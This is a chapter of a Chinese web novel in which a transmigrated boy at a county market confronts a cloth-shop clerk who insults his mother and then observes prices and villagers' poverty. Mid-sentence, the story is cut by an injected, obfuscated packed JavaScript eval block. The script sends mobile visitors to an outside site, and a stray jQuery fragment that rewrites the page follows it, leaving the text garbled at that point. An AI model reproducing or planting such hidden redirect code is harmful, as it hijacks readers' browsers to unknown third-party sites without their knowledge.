沐马县。
赵敬文仰头看着城门上的三个大字,古朴厚重,承载着不知多少岁月的痕迹。
城墙是青砖白泥的,大概有十几米高,厚度大概是二米多。朱红色的城门,看着非常厚重结实,上面的铜钉有碗口那么大。就是门上的红漆掉了不少。
城门口有两队士兵在检查进出的百姓。
因为牛车占地太大,城里面又没有地方栓,四叔公就把牛车停到县城外面的一棵树下。让牛在树荫里乘凉休息,吃一些野草填饱肚子,等到申时,也就是下午四点多钟,再启程回村。
今天是大集会,又恰逢农忙结束,进城的百姓很多。
城门口已经排起了队伍,大部分都是挎着篮子,背着竹篓的百姓,挑柴的樵夫,还有一些赶着牛车拉着货物的商人。
双手粗糙、面容沧桑的一般是老百姓,他们穿的一般是打补丁的衣服,穿的是干活方便的裤子。那些穿着干净整洁,没有补丁的人,一般都是穿的长袍,他们有可能是书生,也有可能是家里有钱的财主,商人之类的。
总之,古代百姓的阶级,看他们穿的衣服就行,一眼就能区分。
士兵们在前面喊:“都排好队!一个一个来,别挤!”
赵敬文紧跟着娘,牵着娘的手,他个头太矮了,混在人堆里看不见,这么多人丢了可不好找。
赵敬文多看了两眼城门口的士兵,他们个个都带着佩刀,穿着右襟灰红色的制服,其中有一个胸口上还穿着银色铠甲,身材挺拔,眉目硬朗,眼神锋利,应该是他们的头儿。
这个人的感觉十分敏锐,很快察觉到有人在注视他,锋利的眉眼立马扫向赵敬文,赵敬文倒也不怕,反应过来立马冲他呲牙笑,装出一副无知小儿的模样。
例行检查结束后,赵敬文顺利的进了城。
进了城就是另一番景象了。
从城门口开始,主干路上铺满了青色的石砖,沿着一条笔直的路一直到县衙门口,这条路很宽,大概能同时跑开三辆牛车。
在县城主干路的两边,是一家家商铺,看着有点像老版电视剧《水浒传》那样的店铺,商铺最高两层。有的商铺,会在店门口悬挂布帘,上面写着店名和店里的主营产品。
比如“云氏布庄”会写粗布、细布、棉布,“王家酒肆”新酒、高粱酒、米酒,“客云来酒楼”脆皮鸭、芝麻香鸡、秘制烤猪肉,“林娘杂货铺”灯油、煤油、蜡烛之类的。
除了主干路两旁的商铺,县城还分了东西两条长街,东西两条长街,两边也都是商铺,但街边允许百姓摆摊,贩卖货物。那边人多更加热闹。
丁翠娥进了城,挎着篮子急匆匆的去西街占位置,找个人多的好位置,鸡蛋卖的快。她临走时不放心的嘱咐几个儿媳妇,县城人多,一定要看好孩子,别让拍花子的拍走。几个婶娘连忙应是。
没了奶奶在旁边,几个婶娘神情明显放松了不少,接下来就是她们自由活动的时间。
集市上有耍猴的,卖艺的,说书的很热闹。
几人随便逛了一会,三婶娘买了平哥、安哥爱吃的糖葫芦,二婶娘买了苗哥心心念念的芝麻糖。田有花倒是也想给赵敬文买,但赵敬文不要。
他不是真正的小孩子,家里什么财务状况,他很清楚。
二婶娘提议去布庄,看看能不能再买些碎布头,家里的小孩都穿上乞巧衣了,她想着冬天没事儿给孩子爹也做一身,反正布料便宜。
县城最大的布庄就是‘云氏布庄’,进了布庄,只见高高的柜台上摆满了布匹,各种颜色的都有,颜色越鲜艳的越贵。
靠近门口的摆放的是一些黑色、灰色、青色的粗布,便宜耐磨,很多百姓最常买的就是这种粗布。再往里就是一些细布,棉布,棉花。还有一些颜色鲜艳,金灿灿一看就很贵的绫罗绸缎,摆在柜台后面的架子上展览。
进了布庄几位婶娘明显的局促起来,她们抿着唇,不自在的扯着自己的衣袖,紧紧牵着自己的孩子。布庄里面现在有很多顾客,只有她们身上的衣服是打了补丁的。
赵敬文明白,这就像是穿着拼夕夕的衣服去逛‘驴店’一样,让人自卑。
偏偏这时候,来了一个用眼睛上下打量人的柜哥(布行伙计),看着婶娘穿打补丁的衣服,眼神轻蔑。
他的眼神让二位婶娘更加局促了,感觉她们就像是进了殿堂的灰老鼠一样,见不得光。
在田有花和二位婶娘准备伸手摸一摸灰色粗布的质感时,伙计开口了,口气中带着一股莫名的优越感,“你们泥腿子的手太糙了,别乱摸,摸坏了你们可赔不起。”
吓得田有花的手立马缩回去了。
被人当众叫泥腿子,二位婶娘面上也挂不住,当即就想走。
赵敬文哪儿能让娘平白无故受这个委屈,他现在可是小孩儿,有‘免死金牌’,现在不用长大就作废了。
他立马甩开娘的手,小手叉着腰,指着伙计说:“大家快来看呐,云氏布庄的伙计看不起人,说我娘是泥腿子。”
赵敬文嚷嚷的很大声,刻意喊周围的人过来瞧热闹,这种事情就是要闹大,闹大了,店家怕影响生意,影响口碑,一般都会道歉,更何况这次确实是他们店的伙计有错在先。
店里正在挑选布料的顾客,目光顿时被吸引过来了,大家都爱看热闹,没想到买布也能看上大戏。
“如果我娘的手,摸的是店里的绫罗绸缎这种金贵物件,你说能摸坏,把丝刮坏,我们认!可我娘摸的明明是一匹普通的粗布。难道你们云氏布庄的粗布这么不结实,随随便便就能被摸坏吗!伙计的意思就是云氏布庄的布不结实!大家都别买!”
不就是闹吗!他可是个小孩儿!谁怕谁!
听见大堂吵起来,掌柜的急忙从柜台后跑出来。问明了事情经过之后,当众狠狠的训斥了那个伙计一番。
然后非常诚恳的跟田有花和二位婶娘道歉,并当众强调云氏布庄是镇上最大的布庄,经营布匹生意百年,品质肯定是全镇上最好的,云氏粗布结实耐磨,价格公道,请大家放心购买之类的话。
掌柜的抹了一把汗,东家就在后厅查账,让他听见有人当众说云氏布庄的布料品质不好。处理不好这件事,他这个掌柜也不用当了。
田有花被道歉,还有些不好意思,连连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889167|212687||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
摆手。
掌柜的为表示歉意,问清楚了婶娘们要买的布料是什么,并给婶娘买的碎布打了七折,一包碎布只花了七十文。这么便宜,娘和两位婶娘一人买了两包,这可省了不少钱呢。
处理完这件事,掌柜的小心翼翼的回到后厅,跟东家禀告刚刚发生的事。
云氏东家,云繁刚刚隔着一盆翠竹观察店内的情况,低声道:“云氏布庄以后想要做大,像这种错误以后不要再犯,来者皆是客,现在买不起,不代表以后买不起。以后要好好交代伙计怎么接待顾客,干不了前厅就去搬货!”
掌柜的连连点头应是。
娘背着两个鼓鼓囊囊的包袱,一脸高兴,脸上再也没有半点的难堪,果然捡到便宜最让人开心。
这个包袱可比货郎带的要大,里面的布片也更大,颜色更鲜亮。
二位婶娘不停的夸赵敬文反应快,小嘴利索。
田有花听着心里也开心。
经过刚刚的事情,娘和二位婶娘没再去店里,而是逛起街边的小摊。
街边的小摊位大多都是附近村子的百姓,他们蹲在路边,用麻布袋装的高粱米,小米,大米之类的粮食。还有一些果子,鸡蛋,鸭蛋,整只的活鸡,活鸭,也有农户挖了几颗树苗、花苗。还有卖菜,卖肉,五花八门的,卖啥的都有。
一颗鸡蛋一文钱,鸭蛋一文钱,鹅蛋二文钱。
一斤猪肉12文,一斤青菜2文,一斤柿子3文。
赵敬文默默的记住这些商品的价格,对这个朝代的物价大概有了些了解。
“收摊位费了。”来了几个人收摊位费。
看他们衣服的制式,应该也是衙门的人。
这应该也是他们敛财的一种方式,不过赵敬文表示理解,因为在现代很多夜市或者农村大集,其实也是专门有人收摊位费的。
收来的摊位费,用于散集之后的卫生打扫。
就是不知道,古代的摊位费最后被用在哪里了。
上有政、策下有对策,有的摊主现场跟旁边的摊主合并一家,只交一份摊位费。也有眼神好的大爷,远远的看到衙役来收钱,收拾东西跑路,等衙役走远了,再接着回来摆。不过这只适用于那些东西少的摊主。
赵敬文基本每个摊位都会停留一小会儿,仔细观察摆摊百姓的精神面貌,衣着打扮。
大部分百姓眼神沧桑,眼睛里面都是为了生活奔波劳苦的麻木,手指粗糙,指甲又厚又硬,他们脚上穿着一层薄薄的布鞋,有的布鞋大拇指都磨破了露在外面,也有穿着草鞋的,脚后跟厚厚的一块大茧子。
他们面对顾客时的眼神,是那种迫切的期盼,希望对方能买下他摊位的东西,他们的眼神很让人心疼。
可是赵敬文没钱,他娘也没钱。就算他有钱,也买不下所有人的东西。
也有一些摊主,生活不顺意,生意也冷清,对着光看不买的赵敬文,烦闷驱赶,“小孩儿不买,走走走,别打扰我做生意。”
他们过的不好,很不好。
赵敬文想:如果他是沐马县县令就好了,他一定倾尽毕生所学,提升百姓的生活条件。